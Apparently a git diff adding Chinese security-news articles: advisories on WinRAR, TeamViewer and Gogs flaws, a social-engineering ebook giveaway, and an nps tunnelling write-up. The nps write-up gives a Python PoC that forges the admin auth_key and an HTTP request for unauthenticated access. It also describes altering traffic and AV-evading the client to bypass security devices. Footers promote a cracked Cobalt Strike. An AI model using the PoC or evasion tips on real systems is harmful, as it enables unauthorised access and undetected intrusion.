+**** + +**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新** + +**** + + +结尾 + +# 免责声明 + + +# 获取方法 + + +**公众号回复20250626获取下载** + +# 最后必看-免责声明 + + +     +文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如 +用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。 +本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。 +如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！ + + + +# 往期推荐 + + +**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）** + +**2.CS4.8-CobaltStrike4.8汉化+插件版** + +**3.最新BurpSuite2025.2.1专业版（新增AI模块）** + +**4. 最新xray1.9.11高级版下载Windows/Linux** + +**5. 最新HCL AppScan Standard** + + +渗透安全HackTwo + +微信号：关注公众号获取 + +后台回复星球加入： +知识星球 + +扫码关注 了解更多 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq6qFFAxdkV2tgPPqL76yNTw38UJ9vr5QJQE48ff1I4Gichw7adAcHQx8ePBPmwvouAhs4ArJFVdKkw/640?wx_fmt=png "二维码") + + + +[全面资产收集流程及方法解析 万字长文窥探信息收集|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491574&idx=1&sn=48d865c82a228bd135a035419c765e94&scene=21#wechat_redirect) + + diff --git a/doc/2025-06/WinRAR目录遍历漏洞允许通过恶意文件执行任意代码.md b/doc/2025-06/WinRAR目录遍历漏洞允许通过恶意文件执行任意代码.md new file mode 100644 index 00000000..9c09453e --- /dev/null +++ b/doc/2025-06/WinRAR目录遍历漏洞允许通过恶意文件执行任意代码.md @@ -0,0 +1,94 @@ +# WinRAR目录遍历漏洞允许通过恶意文件执行任意代码 + FreeBuf 2025-06-25 11:01 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") + + +![WinRAR漏洞允许通过恶意文件执行任意代码](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3ibeEzGHicGrfDkL0C5buG56XdDHdQUkavhK1ZCV45r4J7un8ic3nEhGxcG0gRdquiciakz1FE74iaTpdxg/640?wx_fmt=jpeg&from=appmsg "") + + +**Part01** +### 漏洞概述 + + +1. WinRAR软件中存在一个高危漏洞（CVE-2025-6218），攻击者可利用该软件处理压缩包内文件路径的方式执行任意代码 + + +2. 该漏洞允许攻击者使用特制的包含目录遍历序列的压缩文件，最终实现远程代码执行 + + +3. 漏洞利用需要用户交互，如下载或打开恶意压缩包，或访问被攻陷的网页 + + +4. RARLAB已发布安全更新，用户应立即升级至最新版本以保护系统安全 + + +**Part02** +### 漏洞详情 +### + +RARLAB公司的WinRAR压缩软件中发现了一个严重安全漏洞，远程攻击者可通过恶意压缩文件执行任意代码。该漏洞编号为CVE-2025-6218，CVSS评分为7.8分，影响这款广泛使用的文件压缩工具处理压缩包内目录路径的方式。 + + +远程代码执行漏洞 + + +该目录遍历漏洞被正式记录为ZDI-25-409，对全球WinRAR用户构成重大安全风险。这个远程代码执行（RCE）漏洞允许攻击者在当前用户权限下执行恶意代码，但需要用户交互才能成功利用。 + + +漏洞的CVSS向量字符串AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H表明，在机密性、完整性和可用性方面都具有高度影响。漏洞利用机制主要基于压缩包内特制的文件路径，这些路径可能导致WinRAR进程遍历到非预期的目录。 + + +这种路径遍历攻击绕过了正常的安全边界，使攻击者能够将文件写入预期解压目录之外的位置。此类漏洞尤其危险，因为与其他攻击技术结合使用时，可能导致系统完全被攻陷。 + + +**Part03** +### 技术分析 + + +技术分析显示，该漏洞存在于WinRAR处理压缩包文件的路径处理例程中。发现并报告该漏洞的安全研究员whs3-detonator确认，包含恶意目录路径的特制压缩文件可以操控解压过程。攻击需要目标用户访问恶意网页或打开恶意压缩文件，因此容易受到社会工程攻击。 + + +技术利用手段基于嵌入在压缩文件结构中的目录遍历序列。这些序列可能包含"../"等相对路径指示符，使攻击者能够导航到预期解压目录之外的位置。一旦成功，该漏洞便能在运行WinRAR的用户权限下执行任意代码。 + + +**Part04** +### 风险因素 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ibeEzGHicGrfDkL0C5buG56XfBexmKuB3sdLCjA4CfPG1jZiaB2m6xcCIeZpD2xBD8kmLTvulIXTibmw/640?wx_fmt=png&from=appmsg "") + + +**Part05** +### 缓解措施 + + +RARLAB已迅速响应这一关键安全问题，发布了WinRAR更新版本。建议用户升级至WinRAR 7.11版本，该版本具有更快的速度、改进的可用性和新的自定义选项。 + + +厂商已发布有关安全更新的详细信息，强调应用此补丁以防止潜在利用的重要性。由于该漏洞的高严重性评级以及针对系统的远程代码执行攻击可能性，各组织应优先考虑此更新。 + + +**参考来源：** + +WinRAR Directory Vulnerability Allows Arbitrary Code Execution Using a Malicious File + +https://cybersecuritynews.com/winrar-vulnerability/ + + +### +### +### + +**推荐阅读** + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323665&idx=1&sn=15875d40f858538184006215073544fb&scene=21#wechat_redirect) + +### 电台讨论 + +**** + + + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + diff --git a/doc/2025-06/nps之Socks流量分析以及未授权复现.md b/doc/2025-06/nps之Socks流量分析以及未授权复现.md new file mode 100644 index 00000000..10fc887d --- /dev/null +++ b/doc/2025-06/nps之Socks流量分析以及未授权复现.md @@ -0,0 +1,183 @@ +# nps之Socks流量分析以及未授权复现 +Ggoodstudy 蚁景网络安全 2025-06-25 09:36 + +##### 前言 + +因为想要写一个socks的流量算法去绕过安全设备，所以这里对nps的流量特征总结一下，方便自己后期的魔改。 +##### 环境 +> ubuntu 16.04  vps  server +> windows server 2012R2  clinet + +``` +mkdir npscd npswget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gztar -zxvf linux_amd64_server.tar.gz./nps install +``` + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6uOh5y3ib9jjUCtEeTTUrFxI99868dUpqYSrzOtIQv5kkqeRk262BPIg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +``` +cd /etc/nps/conf/vim nps.conf +``` + +配置文件 +``` +#webweb_host=a.o.comweb_username=xxxx    //管理端用户名web_password=xxxxxx  //管理端密码web_port = xxxxx     //管理端端口web_ip=0.0.0.0web_base_url=web_open_ssl=falseweb_cert_file=conf/server.pemweb_key_file=conf/server.key#web_base_url=/nps +``` + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6Mcic9rCY9Mj7rE2hCbGqONLjgGjlicFojGayDRqV1OSFiaphYm8JIb4Pg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +``` +##bridgebridge_type=tcp   //客户端连接协议tcpbridge_port=xxxx  //客户端连接端口bridge_ip=0.0.0.0 +``` + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6siciblXiawmg6w2ghWibjYoXVVWjzjweialr5wvc725RQo74BJoCkGZS7oA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +bridge_port +的默认端口默认为8024 +，这里不建议改为默认的，连接客户端的时候可能会触发安全设备规则 +##### NPS未授权复现 + +POC +``` +#encoding=utf-8import timeimport hashlibnow = time.time()m = hashlib.md5()m.update(str(int(now)).encode("utf8"))auth_key = m.hexdigest()print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)) +``` + +直接访问 +> http://vps:port?payload + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6X1kQ2E8R6EIztwib11HAkqQeyhF5CrkS8ms5IkpqO95HXhed3U7jibnw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +exp请求接口 +``` +POST /client/list HTTP/1.1Host: vps:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 98Origin: http://vps:portConnection: closeReferer: http://vps:port/client/listsearch=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547 +``` + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw67VNEPhct42VKa9UTMlIxlRzlZUQ1bEDbjibLSgoczNiaEib3XqiaCp2Ylw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +参考链接： +> https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA + +##### 修复措施 + +vim /etc/nps/conf/nps.conf取消注释 +auth_key,添加 +auth_crypt_key`注释 +> auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN + + +修改为 +> auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6KsZYmTKc20HIQkIcBsfpBHmXKJTTTvFOv1lrI9gJbQpO9WCtPc2aLA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +目前最新版本的也存在改配置不当问题，这里需要修改配置，修复之后是无法通过未授权读取内容信息的。 +##### socks流量分析 +> nps start + + +访问http://vps:port/login + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6gqDWQbU4rfHJagBchibBrxz69QTHAKVxia5Ce0LmrE12TQRnwfTWZAvw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +新增客户端 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6pq1ebGrW7JZ8yhFWjTqaXvfYBO4Gk5ALibvwhRBydRLvzribg8Mjic1kQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +这里用户名和密码随意，这里是客户端登录的认证用户名，在客户端连接的时候是根据密钥 +来实现的。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6QchF3w50Kb8QD764W6lU0ZNJYPWyoDUzBKVXs9ZOib1MzUiaHOyIXlwA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +客户端选择windwos server 2012R2 + +修改客户端配置文件 +``` +[common]server_addr=vps:portconn_type=tcpvkey=xxxxauto_reconnection=truemax_conn=1000flow_limit=1000rate_limit=1000basic_username=11basic_password=3web_username=xxxx    web_password=xxxxxcrypt=truecompress=true#pprof_addr=0.0.0.0:9999disconnect_timeout=60 +``` + +客户端启动 +> npc.exe -server=vps:port -vkey=xxxxx -type=tcp + + +正常情况下会报毒，所以这里针对杀软这一块儿，客户端需要做一下免杀处理。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6XibKNbedBibLe41hNdacH1zEgxbZE7IoIy0Ky4X4M4nLBicOoPdUBibq5g/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +查看连接状态 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6NibicTRMKX9JFib5Xq6s1awvqVt4SicZJIVuUM1aicNTwXF9vFNfubjjQiaA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6IOaib0gPQqNKHuWR0OpUPF6XC0br588xP9Bh4E9gey4B1PTrLF1icUicg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +使用goby +测试socks5 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6ELpZCXqJc8EEPncPqyM4DCM6icnkNfw6bXeFFTv0fiazZic9YWZ8EWVJw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +测试代理 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6XhKsJnOAicibffZy7RAA3r01ttTlK3q0hDHiae6vWCicDJBocdm2riaJ5ibA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +已成功实现内网穿透。 + +这里使用wireshark +抓取流量包， + +初始流量服务器向客户端发送TST + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6GzuBKb9M0kiaglibDMPxLopmSk1vMVkCibIOias2tOXT6CoKdgM3AKmzyw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +同时客户端向服务端确认版本，同时返回客户端版本0.26.0 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6Oeh2uraSpmvsXsHpr1TuNVUnfgjR7hlSiciazs4qJeIm7icRDwDhBA6rw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + +代码位置nps/lib/version/version.go + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6w6khCDk8vhgQ4gwfezTfg9kka5dZHGRmNK5aXaYj97JoDqmhCzoPBg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +服务端接收到请求后，客户端请求的数据内容为nps的版本为0.26.10 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw63eFQghicNz8QjYgXxNGA2He6M4nqmttPIUTQj5ePKiaDghicSI1D1OA8Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +服务端接收到请求后返回给客户端服务端版本的md5值，即 +> md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e + + +可以发现在产生nps +客户端连接的时候,会产生数据校验，这里数据校验就是有服务器到 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6icnVOu8HHwoJZOhfbay7ng8XAlgCtKRebWLibX1fbCxJLl7mVrSPnibLg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +这是客户端传输给服务端密钥连接 +> md5(vkey) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6VBPMeQVtlbbEIsbfeibIbsiaOVuRJkqPjPhE1hKLiaV7NbUuqibnUgNp7Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +服务端在接收到客户端的请求后校验数据后返回success + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeKhQWoR37Ob2kBUibMmjcw6ibuZg3vByAnjfAMRfD5zA5molsGrv1SwsrOUdUI3KSJWu4Ud5w0Ig8Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "") + + +这里客户端和服务端的连接流量就比较清晰了，那么想要bypass安全设备的告警，在修改加密方式和修改版本关键字即可，因为在做流量隐藏的时候跟bypassav不一样，不会考虑文件的哈希以及文件在沙箱中的落地状态。 + +[](https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247549615&idx=1&sn=5de0fec4a85adc4c45c6864eec2c5c56&scene=21#wechat_redirect) + + diff --git a/doc/2025-06/【免费领】社会工程权威资料：解密安全体系中的人性漏洞.md b/doc/2025-06/【免费领】社会工程权威资料：解密安全体系中的人性漏洞.md new file mode 100644 index 00000000..3f4c16e9 --- /dev/null +++ b/doc/2025-06/【免费领】社会工程权威资料：解密安全体系中的人性漏洞.md @@ -0,0 +1,77 @@ +# 【免费领】社会工程权威资料：解密安全体系中的人性漏洞 + 蚁景网络安全 2025-06-25 09:36 + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjRNXHaZHEfrMNCcDian3sGpzQd8HYquBhOibiaglQNQ9jL6QVibtefLCHNvymxAu0ZGKjnGf4x2hBLFA/640?wx_fmt=png "") + +点击蓝字/关注我们 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDu5LeMykBibiaorwCvYEX2sxq5lVYw4iaddx0qYlbQ6fAyXd22dcFOiads8w/640?wx_fmt=gif "") + +今日福利 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDuYRDXO8rZ2DX4p68v8aWfzp0XSlDyFJvENtj4DwOjoB5CaZVMPnfFYQ/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjCWWfEAMTVhqG1TTmGEa5zMEBiaFsItnHPOjffujavOef7dtibvyEhhouaTnYVlkflf6tQQq5qB47w/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +著名安全专家解密社会工程权威著作 + +从攻击者视角详解社会工程的所有方面 + +（包括诱导、伪装、心理和人际操纵等） + +通过真实故事和案例，探讨社会工程奥秘 + +限时福利，请及时领取哦 ~ + + + +**该资料内容较多，无法列出全部目录，以下为节选的部分目录：** + +![](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeeicfxjdQo6UdEkSDCE3AcfhpvUNCNPncvCpDYLkQb1ibLJCjJAORFzbvRLS7Jt1OOCY76ibO0NCmZg/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/3RhuVysG9LeeicfxjdQo6UdEkSDCE3AcfmNXRMWsxPgPl1lrkIkxxPFXSrmhTW6kDPGjOIicibmkD2eXTEBKnqhZw/640?wx_fmt=png "") + + + +长按识别下方二维码 +， +回复 +**“0625”** +， +**免费领取** +~ + +（限7日内领取） + +【请注意： +不要直接 +回复 +公众号 +哦 +~ +】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/3RhuVysG9Lfk8vprdHr8d5Kvic1v77CuKhibz3zlmyVatcKQzHHlvZp0eE3j6s4VRYd8MroZgibLKU86xL2xtsS8A/640?wx_fmt=jpeg "") + + + + +**免责声明** + +所有资料均来源于网络分享，仅限用于个人学习交流，禁止任何违法操作和非法用途！由使用者产生的任何责任，与作者和本平台无关！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiahvZwg4p30ZibNicibicyjWVSSlbib1QzuW7zoUMtJArLq3MwATvaEGyBeajm0Dk1uqJOibmmvcJnLoqOQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXe3FC0ic4IiasRfVm2e6Y06ZYvUv5KyVBnEmtvOyDUyn7m5PIrgwtE7Rcw/640?wx_fmt=gif "") + +点击“ +阅读原文 +”，获取更多学习资源！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXeN0SibqAMiaSjibKI7jkge8o1AO1o0QkialLs59Bxa8iaY7yibBicue54dVEdw/640?wx_fmt=png "") + + diff --git a/doc/2025-06/【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）.md b/doc/2025-06/【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）.md new file mode 100644 index 00000000..6b4076ee --- /dev/null +++ b/doc/2025-06/【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）.md @@ -0,0 +1,116 @@ +# 【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537） + 安全圈 2025-06-25 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +安全漏洞 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGyliaa8GLlEbxdKKVfazWzYt7yLkzumUdEUATWNX7iaJkg1ULvw4bcpWpKEmRoLP5X8UfKEegvq7Z9tDA/640?wx_fmt=png&from=appmsg "") + +2025 年 6 月 24 日，TeamViewer 官方披露其 Windows 平台存在一处高危本地权限提升漏洞（CVE-2025-36537），漏洞评分为 7.0（高），攻击者可通过系统中的普通用户权限，删除任意文件，进而实现权限提升或破坏系统完整性。 + +该漏洞影响启用了 Remote Management 功能（如备份、监控、补丁管理）的 TeamViewer 安装，普通版本不受影响。TeamViewer 已发布 15.67 版本进行修复，建议相关用户尽快升级。 +## 漏洞要点 +## + +该漏洞属于“关键资源权限分配不当”（CWE-732）问题，影响 TeamViewer Remote 和 TeamViewer Tensor 产品中包含 Remote Management 功能的 Windows 安装。攻击者可利用 MSI 安装回滚机制，在无用户交互的前提下，以 SYSTEM 权限删除任意文件，从而造成权限提升或系统组件破坏。 + +该漏洞的 CVSS 向量为： +``` +CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H +``` + +表示攻击者需本地访问权限，攻击路径复杂度较高，但一旦成功，将严重影响系统的机密性、完整性和可用性。 +## 受影响范围 + +本次漏洞影响的版本包括： +- TeamViewer Remote Full 和 Host 客户端（Windows）15.67 之前版本； + +- Windows 7/8 平台下 15.64.5 之前版本； + +- 历史版本如 11.x、12.x、13.x、14.x 也存在同样问题。 + +需特别注意的是，只有启用了 Remote Management 相关组件的系统（如 Patch Management）会受到影响，普通仅用于远程桌面的 TeamViewer 安装不在影响范围内。 +## 风险分析 +## + +攻击者一旦取得系统中普通用户权限（如通过钓鱼邮件、浏览器漏洞、供应链感染等方式），可利用该漏洞删除关键文件，包括安全防护软件、系统驱动或访问控制策略，从而实现进一步提权、持久化植入，或造成服务瘫痪。由于该漏洞不需用户交互，具备一定的自动化利用价值，对企业多用户终端环境和内网环境具有较大安全隐患。 + +目前尚无在野利用报告，但随着漏洞细节公开，潜在风险显著上升。 +## 官方修复建议 +## + +TeamViewer 已发布 15.67 版本修复漏洞，建议所有启用 Remote Management 功能的组织立即执行以下措施： +1. 检查当前版本，升级至 TeamViewer 15.67 或以上； + +1. 对暂不能更新的终端，临时禁用 Backup、Monitoring、Patch Management 功能； + +1. 加强本地文件保护机制，避免非授权删除关键目录； + +1. 加强终端威胁检测，关注 TeamViewer 程序行为异常； + +1. 限制普通用户对系统关键路径的写入和删除权限。 + +## +## 漏洞来源与披露 +## + +该漏洞由安全研究员 Giuliano Sanfins（0x_alibabas）发现并向 TeamViewer 及 Trend Micro ZDI 计划负责披露，目前已完成修复流程。 + + +  END   + + +阅读推荐 + + +[【安全圈】#QQ崩了#客服回应已恢复](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=1&sn=23255811e6a26d4f9fee9dfff2372820&scene=21#wechat_redirect) + + + +[【安全圈】美众议院：WhatsApp存严重安全漏洞，禁止在办公设备使用](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=2&sn=7af7cb53b8b7e4a1d4806a0720c6613b&scene=21#wechat_redirect) + + + +[【安全圈】美空袭伊朗核设施后网络威胁升级](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=3&sn=aac658606742a9fccc7b1ff6f6613d80&scene=21#wechat_redirect) + + + +[【安全圈】71% 的新员工会在 3 个月内点击钓鱼邮件](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=4&sn=fef70d04a8f2be0d88ce8a20a0d551f3&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2025-06/【已复现】Gogs 远程命令执行漏洞.md b/doc/2025-06/【已复现】Gogs 远程命令执行漏洞.md new file mode 100644 index 00000000..ac158bc7 --- /dev/null +++ b/doc/2025-06/【已复现】Gogs 远程命令执行漏洞.md @@ -0,0 +1,119 @@ +# 【已复现】Gogs 远程命令执行漏洞 + 长亭安全应急响应中心 2025-06-25 15:11 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/FOh11C4BDicQkZUcaW7n3FxfcpagJiaF4coqSiaddRMeZJFeLGurrOXUkC0icYb2bIPEvw6jPxlxIGTVjJmqRr17DA/640?wx_fmt=png&from=appmsg "") + + +Gogs (Go Git Service) 是一款基于 Go 语言开发的开源 Git 托管平台，采用 MIT 许可证，提供代码托管、Issue 跟踪、权限管理和 Webhook 等功能。 + + +2025年6月， +Gogs发布 +新版本，修复了一处命令注入漏洞。拥有用户权限的攻击者利用成功后可执行任意系统命令， +经长亭科技安全研究员初步验证， +此漏洞仅影响类Linux系统， +Windows环境下的Gogs不受此漏洞影响，建议受影响的用户尽快修复。 + + + +**漏洞描述** + +  +Description +  + + + +**0****1** + +**漏洞成因** + +攻击者可通过符号链接绕过 +CVE-2024-39931漏洞的修复 +补丁，删除.git目录下的文件，覆写相关敏感配置，并实现远程命令执行，控制服务器。 + +## 漏洞影响 + +攻击者可在服务器上执行任意系统命令，可能导致服务器被完全控制、数据泄露或业务系统沦陷。 + + +**处置优先级：高** + +漏洞类型： +命令注入 + +**漏洞危害等级：** +高 + +**触发方式：** +网络远程 + +**权限认证要求：** +需要权限 + +**系统配置要求：** +默认配置 + +**用户交互要求：** +无需用户交互 + +**利用成熟度：** +POC/EXP 未公开 + +**修复复杂度：** +低， +官方提供版本升级修复方案 + + + + + +**影响版本** + +  +Affects +  + + + +**02** +``` +``` + +**解决方案** + +  +Solution +  + + + +**03** + +## + +## 临时缓解方案禁用用户注册功能，在 Gogs 的配置文件 app.ini 中关闭用户注册功能，防止攻击者通过注册恶意账户进行利用：[auth]DISABLE_REGISTRATION = true生效方式：修改后需重启 Gogs 服务。 + +## 升级修复方案官方已发布安全修复版本，建议升级到 0.13.3 或更高版本，下载地址：https://github.com/gogs/gogs/releases/tag/v0.13.3漏洞复现Reproduction 04参考资料：[1].https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7 + + +**长亭应急响应服务** + + + + +全力进行产品升级 + +及时将风险提示预案发送给客户 + +检测业务是否受到此次漏洞影响 + +请联系长亭应急服务团队 + +7*24小时，守护您的安全 + + +第一时间找到我们： + +邮箱：support@chaitin.com + diff --git a/doc/2025-06/【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731).md b/doc/2025-06/【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731).md new file mode 100644 index 00000000..9d08e7d6 --- /dev/null +++ b/doc/2025-06/【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731).md @@ -0,0 +1,174 @@ +# 【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731) +原创 360漏洞研究院 360漏洞研究院 2025-06-25 13:16 + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgbJxnOxcKdRicA5Vlgv8VdjNEa8tGFyzVgC6Q6dlYR7JSnqNf6hodTZqXAibl0ZqFHlNgZKH8hT2jQ/640?wx_fmt=gif&from=appmsg "") + + +

